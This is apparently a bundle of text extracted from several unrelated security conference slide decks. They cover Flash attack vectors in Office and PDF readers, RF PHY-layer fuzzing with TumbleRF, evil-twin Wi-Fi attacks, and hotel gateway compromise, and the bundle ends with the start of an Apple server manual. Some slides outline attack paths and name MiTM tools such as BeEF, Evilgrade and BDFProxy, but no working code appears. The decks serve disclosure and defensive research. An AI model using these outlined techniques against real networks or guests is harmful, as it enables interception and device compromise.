Ø 在2018年7月发布的Flash Player 30.0.0.113版本上,
Adobe将上述的功能推广到了所有Office版本上
Ø 由于有了Adobe的动作,之前微软行动没有覆盖
的Office 2010和Office 2013也被覆盖了
Flash在
Microsoft Office
中的攻击途径 -
Flash in Office
小结
Ø 整个Flash in Office的攻击途径随着用户都升级了他们的Office和Flash,这个经典的攻击
途径就基本上消失了
Ø 关于2018年Flash 0-day爆发原因的猜测
Ø 我们猜测,正是由于Adobe和Microsoft的这些动作,去年我们看到了一波Flash 0-day
的集中爆发
Ø 因为,攻击者们也看到了这个趋势。随着这个攻击途径的消失,如果不及时变现,他
们手上的Flash 0-day将会变得毫无价值
Office版本
措施
Office 2010/2013
弹click-to-play对话框
Office 2016/2019/365
彻底禁止
Flash在
Microsoft Office
中的攻击途径 -
Flash via Office
Ø 2018年2月,安全研究员揭示了一种称之为Flash via Office(通过Office播放
Flash)的新方法(https://votiro.com/think-you-are-just-watching-a-video-think-
again/)
Ø 攻击者通过滥用Word上的一个叫做“插入在线视频”(insert online video)的功
能,可以让用户通过IE访问他们设置的任意网站。这个网站上的Flash内容将被
直接播放。
Flash在
Microsoft Office
中的攻击途径 -
Flash via Office
Ø Flash via Office与Flash in Office攻击途径的不同
Ø Flash via Office过程中不存在click-to-play,因此绕过了之前讨论的Microsoft和Adobe的所有缓
解措施
Ø Flash via Office攻击过程并不是自动伴随Word文档被打开就自动运行,而是需要用户点击文档
上的一个object。只需要单击一下,期间没有任何警告,攻击者可用图片来诱导用户点击
Ø Flash in Office中Flash插件是运行在Office的进程中;Flash via Office中Flash插件则是运行在
IE进程中(IE进程是以COM模式启动的)
Ø Flash in Office不需要考虑沙盒的问题;Flash via Office的Flash插件则是运行在IE的沙盒(这
其实不算是个问题,因为IE的沙盒其实很弱,网上都有公开的未被修复的逃逸IE沙盒的方法)
Ø Flash via Office只适用于Office 2013及更新的版本,不适用于Office 2010(影响可忽略)
Flash在Microsoft
Office中的攻击途径 -
Flash via Office演示
Flash在Microsoft Office中的攻击途径 -
Flash via Office小结
Ø Flash via Office攻击途径是一个对经典的Flash in Office
攻击途径很好的替代
Ø 它使得使用Office文件发起利用Flash漏洞的攻击再次成
为可能
Ø 作为防护者,我们建议应特别注意野外的含有此类特征
的Word文档
CLICK ADD RELATED TITLE TEXT, AND CLICK ADD RELATED TITLE
TEXT, CLICK ADD RELATED TITLE TEXT, CLICK ON ADD RELATED
TITLE WORDS.
PART.04
Flash在PDF中的攻击途径
Flash在PDF中的攻击途径
Ø 很少有人探讨过Flash在PDF中的攻击途径
Ø 我们的研究针对两款Windows上最流行的PDF阅读软件
Ø Adobe Reader
Ø Foxit Reader
Flash在PDF中
的攻击途径 –
Adobe Reader
Ø 一个嵌入了Flash内容的PDF文件被Adobe Reader打开,Flash内容不会被播放。Adobe Reader
会提示引导用户去安装(NPAPI架构的)Flash Player插件程序。
Ø 一旦这个Flash插件被安装,PDF文件里的Flash内容就可以自动播放了。整个过程没有click-to-
play。
Ø Adobe Reader中的Flash攻击安全隐患
Ø Adobe Reader用户可能不会在被提示前主动安装这个(NPAPI架构的)Flash插件。但是,如果这个用户
同时也使用Firefox呢?
Ø 如果用户在使用Firefox的时候确实需要播放一些Flash内容,他会去下载安装(NPAPI架构的)Flash插件。
Ø 该用户认为使用Firefox不会有不可控的安全问题,因为每次用Firefox浏览Flash内容的时候都会提示click-
to-play。
Ø 但是他并没有意识到下次使用Adobe Reader阅读(攻击者发送的)PDF文档时,其中的Flash exploit会自
动运行!
Ø
Adobe Reader也是使用同一款Flash插件;Adobe Reader播放Flash内容的时候没有click-to-play
Flash在PDF中
的攻击途径 –
Foxit Reader
Ø Foxit Reader安全阅读模式(Safe Reading Mode)
的开启与否决定了Foxit Reader上的Flash攻击是否可
行
Ø 安全阅读模式没有开启时会自动播放PDF里的Flash内
容。
Ø 全新安装的Foxit Reader默认开启其安全阅读模式
Ø 和Adobe Reader使用NPAPI架构的Flash插件不同,
Foxit Reader使用的是(Windows 8/8.1/10默认安装)
的COM架构的Flash插件
Ø Foxit Reader没有沙箱,因此Flash插件会直接以中
等特权(medium integrity level)运行
Flash在PDF中的攻击途径 –
Foxit Reader演示
Ø 演示: Foxit Reader上开启和禁用安全阅读模式的情况下打开
含有Flash内容的PDF文件
Flash在PDF中
的攻击途径 –
Foxit Reader
Ø Foxit Reader上的安全阅读模式的管理存在
的安全隐患(其安全阅读模式很容易在用户不
知情下被禁用)
Ø 安全阅读模式的问题一(安全阅读模式很
容易被用户在不经意间禁用)
Ø 比如,如果Foxit Reader打开一种嵌
入了文件的PDF时会弹一个如下的对
话框提示用户
Ø 如果用户简单地点击OK或者直接按回
车键的话,安全阅读模式就直接被禁
用了
Flash在PDF中
的攻击途径 –
Foxit Reader
Ø 安全阅读模式的问题二(安全阅读模式
在Foxit Reader升级的过程中直接被禁用
了)
Ø 我们在Windows全新安装一个
9.4.1.16828旧版的Foxit Reader。安
装中所有选项都是默认选项。设置显
示安全阅读模式是开启的。
Flash在PDF中
的攻击途径 –
Foxit Reader
Ø 安全阅读模式的问题二
Ø 我们通过其自带的升级功能来升
级Foxit Reader到2019年8月最新
的9.6.0.25114版本。安装过程中
所有选项也都是默认选项。升级
后设置显示安全阅读模式被禁用
了。
Flash在PDF中
的攻击途径 –
Foxit Reader
Ø 去官方网站下载最新的9.6.0.25114版
Foxit Reader,在全新的系统里默认安
装后,设置显示安全阅读模式是开启
的。
Ø 这个实验证明,安全阅读模式被禁用
不是Foxit Reader新版本的问题,而是
Foxit Reader自带的升级程序的问题
Ø 升级程序在升级过程中改变了Foxit
Reader的设置从而使得安全阅读模式
被禁用!
Flash在PDF中的
攻击途径 –
Foxit Reader小
结
Ø Foxit Reader的升级程序会在用户不知情的情况下禁用安
全阅读模式选项!
Ø 而现实情况是,随着时间的推移,越来越多的用户的
Foxit Reader的安全阅读模式会被禁用
Ø 因为用户肯定在某一时刻会升级
Ø 一旦升级,安全阅读模式就会被禁用
Ø 安全阅读模式被禁用意味着用户打开PDF会有危险 -
会被嵌入到PDF里的恶意Flash攻击!
Ø Haifei已经向Foxit公司报告了此漏洞。Foxit公司在八月十
五号修复了该漏洞。(CVE待分配)
CLICK ADD RELATED TITLE TEXT, AND CLICK ADD RELATED TITLE
TEXT, CLICK ADD RELATED TITLE TEXT, CLICK ON ADD RELATED
TITLE WORDS.
PART.05
总结
Ø 我们深入讨论了各种流行应用程序上的Flash的攻击途径
Ø 浏览器
Ø Chrome, Edge和Firefox上所采取的限制Flash攻击的努力( click-to-play )极大地阻断了Flash的攻击
Ø IE的一大弱点是没有针对Flash攻击采取任何缓解措施
Ø Microsoft Office
Ø 2018年中以来Microsoft和Adobe采取的措施几乎成功地封杀了所有Office上的经典的攻击途径。
Ø 我们相信2018年Microsoft和Adobe对Flash所推出的防护措施是同时期Flash 0-day爆发的主要诱因。
Ø 新的Flash via Office的攻击方式值得重视
Ø PDF阅读程序
Ø Adobe Reader存在一个安全隐患(通过FireFox插件的安装)
Ø Foxit Reader的问题更大,我们强烈建议用户定期检查其安全阅读模式的开启
Ø 关于未来
Ø 浏览器。我们认为现代浏览器不会是Flash攻击的主要途径。
手上藏有Flash 0-day的攻击者可能会重新将IE用户做为攻
击目标。
Ø Microsoft Office。攻击者可能会利用新发布的Flash via
Office技术来实施基于Office文件的攻击。
Ø PDF。关于PDF阅读器,攻击者会针对脆弱的Foxit Reader
用户吗?这个只能靠时间来说话了。
谢谢观看
演讲人
Haifei Li ([email protected])
Chong Xu ([email protected])
致谢
感谢McAfee IPS团队的Bing Sun对我们
演讲的建议及演示所给的大力帮助。 | pdf |
RF Fuzzing // River Loop Security
River Loop Security
River Loop Security
Designing RF Fuzzing Tools to Expose
PHY Layer Vulnerabilities
Matt Knight, Ryan Speers
DEF CON
RF Fuzzing // River Loop Security
whois
Matt Knight
•
Senior Security Engineer at Cruise
Automation
•
RF Principal at River Loop Security
•
BE in EE from Dartmouth College
•
Software, hardware, and RF engineer
•
RF, SDR, and embedded systems
Ryan Speers
•
Co-founder at River Loop Security
•
Director of Research at Ionic Security
•
Computer Science from Dartmouth College
•
Cryptography, embedded systems, IEEE
.., automated firmware analysis
River Loop Security
2
RF Fuzzing // River Loop Security
Background
“Making and Breaking a Wireless IDS”, Troopers
“Speaking the Local Dialect”, ACM WiSec
•
Ryan Speers, Sergey Bratus, Javier Vazquez, Ray Jenkins, bx, Travis Goodspeed, & David Dowd
•
Idiosyncrasies in PHY implementations
Mechanisms for automating:
• RF fuzzing
• Bug discovery
• PHY FSM fingerprint generation
3
RF Fuzzing // River Loop Security
Agenda
Overview of traditional fuzzing techniques (software and networks)
> How these do and don’t easily map to RF
RF fuzzing overview and state of the art
Ideal fuzzer design
TumbleRF introduction and overview
TumbleRF usage example
Introducing Orthrus
4
RF Fuzzing // River Loop Security
Traditional Fuzzing
Techniques
RF Fuzzing // River Loop Security
What is fuzzing?
Measured application of pseudorandom input to a system
Why fuzz?
• Automates discovery of crashes, corner cases, bugs, etc.
• Unexpected input → unexpected state
6
RF Fuzzing // River Loop Security
What can one fuzz?
Fuzzers generally attach to system interfaces, namely I/O:
• File format parsers
• Network interfaces
• Shared memory
7
RF Fuzzing // River Loop Security
Software Fuzzing State of the Art
Abundant fully-featured software fuzzers
• AFL / AFL-Unicorn
• Peach
• Scapy
Software is easy to instrument and hook at every level
What else can one fuzz?
8
RF Fuzzing // River Loop Security
Other Applications of
Fuzzing
RF Fuzzing // River Loop Security
Fuzzing Hardware
Challenges:
• H/W is often unique, less “standard interfaces” to measure on
• May not be able to simulate well in a test harness
Some Existing Techniques:
• AFL-Unicorn: simulate firmware in Unicorn to fuzz
• Bus Pirate: permutes pinouts and data rates to discover digital buses
• JTAGulator: permutes pinouts that could match unlocked JTAG
• …
10
RF Fuzzing // River Loop Security
Fuzzing RF
WiFuzz
● MAC-focused . protocol fuzzer
Marc Newlin’s Mousejack research
● Injected fuzzed RF packets at nRF HID dongles while looking for
USB output
isotope:
● IEEE .. PHY fuzzer
11
RF Fuzzing // River Loop Security
Existing RF Fuzzing Limitations
RF fuzzing projects are siloed / protocol-specific
● COTS radio chipsets
● Generally limited to MAC layer and up
RF state is hard to instrument
● What constitutes a crash / bug / etc?
Implicit trust in chipset – one can only see what one’s radio tells you is
happening
12
RF Fuzzing // River Loop Security
Trust and Physical Layer Vulnerabilities
Not all PHY state machines are created equal!
Radio chipsets implement RF state machines differently
• Differences can be fingerprinted and exploited
• Initial results on .. were profound
• Specially-crafted PHYs can target certain chipsets while avoiding
others
13
RF Fuzzing // River Loop Security
RF PHYs: A Primer
RF Fuzzing // River Loop Security
How Radios Work
Transmitter: digital data (bits) → analog RF energy
discrete → continuous
Receiver: analog RF energy → digital data (bits)
continuous → discrete
Receiving comes down to sampling and synchronization!
15
RF Fuzzing // River Loop Security
Digitally Modulated Waveforms
16
RF Fuzzing // River Loop Security
Digitally Modulated Waveforms
Preamble
Start of Frame Delimiter (SFD) / Sync Word
Data
17
RF Fuzzing // River Loop Security
RF PHY State Machines
18
RF Fuzzing // River Loop Security
RF PHY State Machines
19
RF Fuzzing // River Loop Security
…
RF PHY State Machines
20
RF Fuzzing // River Loop Security
RF PHY State Machines
21
0
0
0
0
0
0
0
0
0
1
0
1
0
1
0
1
0
1
0
1
0
1
0
1
4
→ RF Symbol Value
Preamble Correlation Value
XOR Result
→ Shift Register →
Hamming Distance
Hamming Distance
● # bits that are different between two values
● If , values are equal
When Hamming Distance <= some threshold, a
preamble has been detected
RF Fuzzing // River Loop Security
RF PHY State Machines
22
1
0
0
0
0
0
0
0
0
1
0
1
0
1
0
1
1
1
0
1
0
1
0
1
5
→ RF Symbol Value
Preamble Correlation Value
XOR Result
→ Shift Register →
Hamming Distance
Hamming Distance
● # bits that are different between two values
● If , values are equal
When Hamming Distance <= some threshold, a
preamble has been detected
RF Fuzzing // River Loop Security
RF PHY State Machines
23
0
1
0
0
0
0
0
0
0
1
0
1
0
1
0
1
0
0
0
1
0
1
0
1
3
→ RF Symbol Value
Preamble Correlation Value
XOR Result
→ Shift Register →
Hamming Distance
Hamming Distance
● # bits that are different between two values
● If , values are equal
When Hamming Distance <= some threshold, a
preamble has been detected
RF Fuzzing // River Loop Security
RF PHY State Machines
24
1
0
1
0
0
0
0
0
0
1
0
1
0
1
0
1
1
1
1
1
0
1
0
1
6
→ RF Symbol Value
Preamble Correlation Value
XOR Result
→ Shift Register →
Hamming Distance
Hamming Distance
● # bits that are different between two values
● If , values are equal
When Hamming Distance <= some threshold, a
preamble has been detected
RF Fuzzing // River Loop Security
RF PHY State Machines
25
0
1
0
1
0
0
0
0
0
1
0
1
0
1
0
1
0
0
0
0
0
1
0
1
2
→ RF Symbol Value
Preamble Correlation Value
XOR Result
→ Shift Register →
Hamming Distance
Hamming Distance
● # bits that are different between two values
● If , values are equal
When Hamming Distance <= some threshold, a
preamble has been detected
RF Fuzzing // River Loop Security
RF PHY State Machines
26
1
0
1
0
1
0
0
0
0
1
0
1
0
1
0
1
1
1
1
1
1
1
0
1
7
→ RF Symbol Value
Preamble Correlation Value
XOR Result
→ Shift Register →
Hamming Distance
Hamming Distance
● # bits that are different between two values
● If , values are equal
When Hamming Distance <= some threshold, a
preamble has been detected
RF Fuzzing // River Loop Security
RF PHY State Machines
27
0
1
0
1
0
1
0
0
0
1
0
1
0
1
0
1
0
0
0
0
0
0
0
1
1
→ RF Symbol Value
Preamble Correlation Value
XOR Result
→ Shift Register →
Hamming Distance
Hamming Distance
● # bits that are different between two values
● If , values are equal
When Hamming Distance <= some threshold, a
preamble has been detected
RF Fuzzing // River Loop Security
RF PHY State Machines
28
1
0
1
0
1
0
1
0
0
1
0
1
0
1
0
1
1
1
1
1
1
1
1
1
8
→ RF Symbol Value
Preamble Correlation Value
XOR Result
→ Shift Register →
Hamming Distance
Hamming Distance
● # bits that are different between two values
● If , values are equal
When Hamming Distance <= some threshold, a
preamble has been detected
RF Fuzzing // River Loop Security
RF PHY State Machines
29
0
1
0
1
0
1
0
1
0
1
0
1
0
1
0
1
0
0
0
0
0
0
0
0
0
→ RF Symbol Value
Preamble Correlation Value
XOR Result
→ Shift Register →
Hamming Distance
Hamming Distance
● # bits that are different between two values
● If , values are equal
When Hamming Distance <= some threshold, a
preamble has been detected
RF Fuzzing // River Loop Security
RF PHY State Machines
30
Repeat the process, correlating for the SFD
value instead, to find the start of the PHY
data unit
0
0
0
0
0
0
0
0
1
1
1
1
0
0
0
0
1
1
1
1
0
0
0
0
4
→ RF Symbol Value
Preamble Correlation Value
XOR Result
→ Shift Register →
Hamming Distance
RF Fuzzing // River Loop Security
Sync Words and Magic Numbers
Turns out not all sync words are created equally
• 0x00000000 == 802.15.4 Preamble
• 0xA7 == 802.15.4 Sync Word
The isotope research showed some chipsets correlated on “different”
preambles / sync words than others
31
RF Fuzzing // River Loop Security
Sync Words and Magic Numbers
Turns out not all sync words are created equally
• 0x00000000 == 802.15.4 Preamble
• 0xA7 == 802.15.4 Sync Word
The isotope research showed some chipsets correlated on “different”
preambles / sync words than others
strategically malformed
32
RF Fuzzing // River Loop Security
Sync Words and Magic Numbers
Turns out not all sync words are created equally
• 0xXXXX0000 == 802.15.4 Preamble
• 0xA7 == 802.15.4 Sync Word
The isotope research showed some chipsets correlated on “different”
preambles / sync words than others
Short preamble?
strategically malformed
33
RF Fuzzing // River Loop Security
Sync Words and Magic Numbers
Turns out not all sync words are created equally
• 0xXXXX0000 == 802.15.4 Preamble
• 0xAF == 802.15.4 Sync Word
The isotope research showed some chipsets correlated on “different”
preambles / sync words than others
Short preamble? Flipped bits in SFD?
strategically malformed
34
RF Fuzzing // River Loop Security
Fuzzing Makes Discovery
Systematic
RF Fuzzing // River Loop Security
Ideal RF Fuzzer Design
RF Fuzzing // River Loop Security
Ideal Features
Extensible: easy to hook up new radios
Flexible: modular to enable plugging and playing different engines /
interfaces / test cases
Reusable: re-use designs from one protocol on another
Comprehensive: exposes PHY in addition to MAC
37
RF Fuzzing // River Loop Security
TumbleRF
RF Fuzzing // River Loop Security
TumbleRF
Software framework enabling fuzzing arbitrary RF protocols
Abstracts key components for easy extension:
● Radio API
● Test case generation API
39
RF Fuzzing // River Loop Security
TumbleRF Architecture
40
RF Fuzzing // River Loop Security
Interfaces
RF injection/sniffing functions abstracted to generic template
To add a new radio, inherit base Interface class and redefine its
functions to map to the radio driver:
[set/get]_channel()
[set/get]_sfd()
[set/get]_preamble()
tx()
rx_start()
rx_stop()
rx_poll()
41
RF Fuzzing // River Loop Security
Generators
Rulesets for generating fuzzed input (pythonically)
Extend to interface with software fuzzers of your choice
Implement functions:
yield_control_case()
yield_test_case()
Three generators currently:
• Preamble length (isotope)
• Non-standard symbols in preamble (isotope)
• Random payloads in message
42
RF Fuzzing // River Loop Security
Harnesses
Monitor the device under test to evaluate test case results
Manage device state in between tests
Three handlers currently:
• Received Frame Check: listen for given frames via an RF interface
• SSH Process Check: check whether processes on target crashed
(beta)
• Serial Check: watch for specific output via Arduino (beta)
43
RF Fuzzing // River Loop Security
Test Cases
Coordinate the generator, interface, and harness. Typically very
lightweight.
Extend BaseCase to implement run_test()
or build upon others, e.g.:
Extend AlternatorCase to implement:
does_control_case_pass()
throw_test_case()
Alternates test cases with known-good control case to check for crashes
/ ensure interface is still up
44
RF Fuzzing // River Loop Security
TumbleRF Architecture: Demo Setup
45
RF Fuzzing // River Loop Security
Example Generated Data: Preamble Length
Standard .. PHY Header == x + xA + xLL
46
RF Fuzzing // River Loop Security
Example Generated Data: Preamble Length
Modify GNU Radio gr-ieee802-15-4 to omit PHY header
Generate arbitrary PHY headers via TumbleRF test case generator
47
RF Fuzzing // River Loop Security
Demo
RF Fuzzing // River Loop Security
Results Dump
Test: preamble_length_apimote.json (using Dot15d4PreambleLengthGenerator)
Case 0: 0 valid, 50 invalid example case: a70a230800ffff000007fba6
Case 1: 0 valid, 50 invalid example case: 70aa308220f0ff0f0070d0eafa
Case 2: 45 valid, 5 invalid example case: 00a70a230804ffff00000757b6
Case 3: 0 valid, 50 invalid example case: 0070aa308260f0ff0f007010e0fb
Case 4: 50 valid, 0 invalid example case: 0000a70a230808ffff000007a387
Case 5: 0 valid, 50 invalid example case: 000070aa3082a0f0ff0f007050fff8
Case 6: 50 valid, 0 invalid example case: 000000a70a23080cffff0000070f97
Case 7: 0 valid, 50 invalid example case: 00000070aa3082e0f0ff0f007090f5f9
Case 8: 48 valid, 2 invalid example case: 00000000a70a230810ffff0000074be4
Case 9: 0 valid, 50 invalid example case: 0000000070aa308220f1ff0f0070d0c1fe
Test: preamble_length_cc2531.json (using Dot15d4PreambleLengthGenerator)
Case 0: 0 valid, 50 invalid example case: a70a230800ffff000007fba6
Case 1: 0 valid, 50 invalid example case: 70aa308220f0ff0f0070d0eafa
Case 2: 13 valid, 37 invalid example case: 00a70a230804ffff00000757b6
Case 3: 0 valid, 50 invalid example case: 0070aa308260f0ff0f007010e0fb
Case 4: 48 valid, 2 invalid example case: 0000a70a230808ffff000007a387
Case 5: 0 valid, 50 invalid example case: 000070aa3082a0f0ff0f007050fff8
Case 6: 50 valid, 0 invalid example case: 000000a70a23080cffff0000070f97
Case 7: 0 valid, 50 invalid example case: 00000070aa3082e0f0ff0f007090f5f9
Case 8: 49 valid, 1 invalid example case: 00000000a70a230810ffff0000074be4
Case 9: 0 valid, 50 invalid example case: 0000000070aa308220f1ff0f0070d0c1fe
Test: preamble_length_rzusbstick.json (using Dot15d4PreambleLengthGenerator)
Case 0: 0 valid, 50 invalid example case: a70a230800ffff000007fb
Case 1: 0 valid, 50 invalid example case: 70aa308230f0ff0f007060
Case 2: 0 valid, 50 invalid example case: 00a70a230805ffff000007
Case 3: 0 valid, 50 invalid example case: 0070aa308270f0ff0f0070
Case 4: 0 valid, 50 invalid example case: 0000a70a230809ffff0000
Case 5: 0 valid, 50 invalid example case: 000070aa3082b0f0ff0f00
Case 6: 37 valid, 13 invalid example case: 000000a70a23080effff00
Case 7: 0 valid, 50 invalid example case: 00000070aa308200f1ff0f
Case 8: 41 valid, 9 invalid example case: 00000000a70a230813ffff
Case 9: 0 valid, 50 invalid example case: 0000000070aa308250f1ff
TI CC
TI CC
Atmel ATRF
3 transceivers
2 manufacturers
1 protocol
3 behaviors!
49
RF Fuzzing // River Loop Security
Why Care?
Those results can allow for
WIDS evasion and selective
targeting.
RF Fuzzing // River Loop Security
Developing RF
Interfaces
RF Fuzzing // River Loop Security
RF Interfaces
Not all radios can generate arbitrary preambles, SFDs, modulations,
packet formats, etc.
PHY manipulation requires:
● Software Defined Radio
● Transceiver chipset with lots of configurations
52
RF Fuzzing // River Loop Security
Software Defined Radio
Prior example used Software Defined Radio:
● GNU Radio and a USRP
● gr-ieee802-15-4 is flexible because it’s well designed
SDR has some drawbacks:
● GNU Radio is complicated and hard to develop for
● SDRs are expensive
● High latency for host-based DSP
● Power hungry: hard to embed
53
RF Fuzzing // River Loop Security
Configurable Transceivers
Discrete radio chipsets are purpose built:
● Generally speak protocol really well
● Band-limited
● Low power
● Some kind of API
Examples include:
54
RF Fuzzing // River Loop Security
Flexible Transceivers
Certain discrete transceivers can be flexible, like SDR!
Some radios expose PHY configuration registers:
● Preamble length
● SFD magic number
● Header symbol error tolerance
● etc.
55
RF Fuzzing // River Loop Security
ApiMote (/)
ApiMote, designed by Javier & Ryan, exposed PHY registers in TI CC:
● Preamble length
● SFD value
● Digital FSM state status pins for low latency injection
56
Pre-assembled/flashed are available
via [email protected]
RF Fuzzing // River Loop Security
ApiMote (/)
However, the ApiMote needs an update:
● CC is EOL
● Expensive BOM
● USB issues
CC and others don’t have the same degree of PHY configuration, so
started looking at other chipsets
57
RF Fuzzing // River Loop Security
Enter ADF
Most interesting option: Analog Devices ADF
. GHz .. radio with lots of features:
● Several modulations
● Lots of configurability
● SPORT mode
58
RF Fuzzing // River Loop Security
SPORT Mode?
Streams demodulated symbols over serial, up to Msps
● Bypasses decoding and PHY header / packet framing
● We can implement these parts in software
Full control of PHY for most . GHz protocols!
59
ApiMote . >> ..
RF Fuzzing // River Loop Security
Introducing Orthrus
RF Fuzzing // River Loop Security
Orthrus (/)
Spiritual successor to the ApiMote
Named for -headed dog from Greek mythology
● Why? Because Orthrus has two heads!
61
RF Fuzzing // River Loop Security
Orthrus (/)
NXP LPC ARM MCU
● Host communication via USB
● Controlling radios
● RF state machine implementation and control
x ADF radios
● ADF has a slow re-tune time
○ allows for pre-emptive re-tune!
● can listen while the other sits ready to transmit
○ High-speed responsive jamming
62
RF Fuzzing // River Loop Security
Initial Prototype
ADF dev board wired to Teensy:
Custom PCB is in progress
63
RF Fuzzing // River Loop Security
Orthrus RF Design Flow
Implement event loop in firmware
Blue-Green frontends for fast retuning / channel hopping
TODO: State machine abstraction language?
● e.g. XASM / ASML / SCXML
● Implement PHYs via config definitions rather than code
64
RF Fuzzing // River Loop Security
Packet-in-Packet Detection
.. Frame Structure:
Packet-in-Packet frame structure:
Traditional radio chipset would see the outer packet only
Software-defined decoder in Orthrus can be written to see both
65
PHY Header
PHY Data Unit
Preamble
SFD
Length
Data
CRC
PHY Header
PHY Data Unit
Preamble
SFD
Length
Preamble
SFD
Length
Data
CRC
RF Fuzzing // River Loop Security
Interested? Get Involved!
Contribute something to TumbleRF:
• Generator for some cool new fuzzing idea you have
• Harness to check the state of a device you care about testing
• Interface to transmit with your favorite radio
Contribute to Orthrus:
• Firmware development
• State machine abstraction definitions
66
RF Fuzzing // River Loop Security
Thank You!
DEF CON 26 Crew
River Loop Security
Cruise Automation
Ionic Security
River Loop Security
https://github.com/riverloopsec/tumblerf
RF Fuzzing // River Loop Security
Questions?
@embeddedsec
@rmspeers
[matt|ryan]@riverloopsecurity.com
River Loop Security
https://github.com/riverloopsec/tumblerf | pdf |
The Great Hotel Hack
Adventures in attacking hospitality industry
Etizaz Mohsin
https://etizazmohsin.com
Disclaimer
No hotels were harmed during making of this presentation
Do not try this at home!
Images Courtesy: ANTlabs & INTSIGHTS
What this talk is not about
What this talk is about
Biggest threats are simple not sophisticated
Previous Research
Agenda
• Why Do hackers attack hotel
• Attack surface walkthrough
• Common attack vectors
• Who are threat actors
• Notable Data breaches
• What led to my research
• Demo NSA style hack
• Mitigations
Security Point Products
• Network Security
• Endpoint Security
• Data Security
“Supreme excellence consists in breaking the enemy's resistance without fighting”
– Sun Tzu
Why Do Threat Actors attack Hotel ?
• Second largest number of breaches after retail sector
• Prominent hotel brands attacked repeatedly
• Collect sensitive, valuable and varied data
• Manage large number of financial transactions
• Uses loyalty programs to encourage repeated visits
Hotel attack surface
• Large quantity of diverse endpoints
• Access to mothership
• Lack of employee security awareness
• Undefined security responsibilities
• High exposure to third parties
• Attacks on Point of Sale
• Spear phishing attacks
• WIFI network attack
• DDOS and Botnet attacks
• Internet of Things attacks
• Brand Impersonation
• Customer targeted attacks
• Ransomware
Attack Vectors
Threat Actors
• APT28 Fancy Bear
Threat Actors
• Darkhotel APT
Notable Data Breaches
Disclaimer Once Again!
How did this all start?
Disclosure Timeline
• 2018-10-31: First vendor notification – immediate response
• 2018-11-12: Technical details sent to vendor
• 2018-12-10: Vendor questions feasibility
• 2018-12-15: Proof of concept sent
• 2018-12-17: Vendor acknowledges vulnerability
• 2018-12-20: Vendor discusses update plans
• 2019-04-01: Vendor assures patching
Hmm ??
Wi-Fi
Captive Portal
•
Radius
•
LDAP
•
Voucher
•
SMS
•
PMS
•
Social Login
Billing Feature
•
Credit Card
•
PMS (FIAS)
Management
•
Web portal
•
Role based access
•
DNS server
•
DHCP
•
Firewall
•
Lawful interception
Target Selection
Attack Surface
• Get private data
• Subscriber’s details, Network configuration, DHCP, DNS, firewall rules
• Backup, logs, PMS, Guest details, SSL, SMTP
• Set every parameter
• DHCP, DNS, WAN, LAN, Route Configuration
• Port forwarding, Syslog, SSL
• Download
• Configuration, database, backup, logs
• Upload
• Backup, Images
Web Management Portal
Web Server
TLS Certificates
Database
Read Write
Firewall rules
Configuration
Guest Details
Guest WIFI Configuration
Session Riding
Plain Text Credentials
Enumerating Users
SSH
System
Tools
Configuration
Owning DNS
• HTTP/S Downgrade
• Sniff plain text credentials
• FakeDNS
• WPAD abuse
• Hash capture (http_ntlm)
• Beef Hooks
• Browser autopwn2
• Evilgrade
• BDFProxy
User Reset
Management Portal
Active Users
Mac Addresses
User Details
DHCP Configuration
DNS Configuration
DNS Enteries
DYNDNS Configration
Network Configuration
Routes
Network Configuration Review
Port Forwarding
SSL Overview
Subnets
Interception
Firewall rules
Logs
Guest Details
PMS
Backup
SMTP
GUESS WHAT ?
DEMO
So, Who is Vulnerable ?
Once, we own the main box!
• PMS
• Corporate network
• Electronic door locks
• Alarm
• HVAC
• Guests devices
• IOT devices
• CCTV
• In fact anything connected to the gateway
Mitigations for Guests
Mitigations for Guests
Mitigations for Guests
Mitigations for Guests
Mitigations for Guests
Mitigation for Guests
Mitigation for Guests
Mitigation for Owners
• Train and re-train your staff
• It takes one click on wrong link
• Train employees on best practices and
common attack vectors
Mitigation for Owners
• Strengthen your infrastructure
• Avoid easy to guess passwords on POS
• Use 2FA authentication
• Ensure end point protection is up to date
• Separate POS network from other
• Filter remote access for POS controller
• Segment WIFI Networks
Mitigation for Owners
• Regulate vendors
• Ensure vendor meets compliance standard
• Regularly assess the risk of their vendors and partners
Mitigations for Owners
• Threat hunt inside your network
• Hackers move around to find valuable data
• Monitor network traffic to identify suspicious
activity and discover unauthorized access
Mitigations for Owners
• Create a incident response plan to
speed up mitigation process.
Conclusion
• Stay aware while traveling
• Use VPN or 4G LTE
• Advanced persistent threats are devastating
• Biggest threats are simple not sophisticated
• No sign that attacks will slow down across any industry
Thank You
https://www.linkedin.com/in/aitezaz/ | pdf |
Building the Pe rfe ct Evil
Tw in
Rich Mo gull
Se curo sis, LLC
e curo sis.co m
Are n’t Evil Tw ins Old
Ne w s?
Ye p, but so is Jim m y Buffe tt and he still se lls o ut
m o re sho w s than go d.
e curo sis.co m
Evil Tw in 1 01
X
1 . Inje ct de auth
2 . Ove rpo w e r
AP and MiTM
3 . Enjo y
pw nage
e curo sis.co m
Evil Tw in 501
•Se lf co ntaine d
•High po w e re d
•Dro p and le ave
•Multiple e xplo it
o ptio ns
e curo sis.co m
Explo it Optio ns
• Explo it bro w se r o n splash scre e n and install
tro jan fo r late r acce ss.
• Sniff/MiTM traffic.
• Inje ct HTML
e curo sis.co m
Why This Matte rs?
• The re ’s no thing ne w he re , but this attack w ill
be e ffe ctive fo r ye ars to co m e .
• It’s a gre at ve cto r fo r any 0days o r o the r
e xplo it advance m e nts.
• Ente rprise s are w e ll pro te cte d, but distribute d
e nte rprise s are m o re vulne rable .
• Pw n the co nsum e r, e ve ntually yo u o w n the
e nte rprise .
Rich Mo gull
rm o gull@ se curo sis.co m
http://se curo sis.co m
AIM: se curo sis
Skype : rm o gull
Se curo sis, L.L.C. | pdf |
Mac OS X Server
Windows Services
Administration
For Version 10.3 or Later
034-2356_Cvr 9/12/03 10:28 AM Page 1
Apple Computer, Inc.
© 2003 Apple Computer, Inc. All rights reserved.
The owner or authorized user of a valid copy of
Mac OS X Server software may reproduce this
publication for the purpose of learning to use such
software. No part of this publication may be reproduced
or transmitted for commercial purposes, such as selling
copies of this publication or for providing paid for
support services.
Every effort has been made to ensure that the
information in this manual is accurate. Apple Computer,
Inc., is not responsible for printing or clerical errors.
The Apple logo is a trademark of Apple Computer, Inc.,
registered in the U.S. and other countries. Use of the
“keyboard” Apple logo (Option-Shift-K) for commercial
purposes without the prior written consent of Apple
may constitute trademark infringement and unfair
competition in violation of federal and state laws.
Apple, the Apple logo, AppleScript, AppleShare,
AppleTalk, ColorSync, FireWire, Keychain, Mac,
Macintosh, Power Macintosh, QuickTime, Sherlock, and
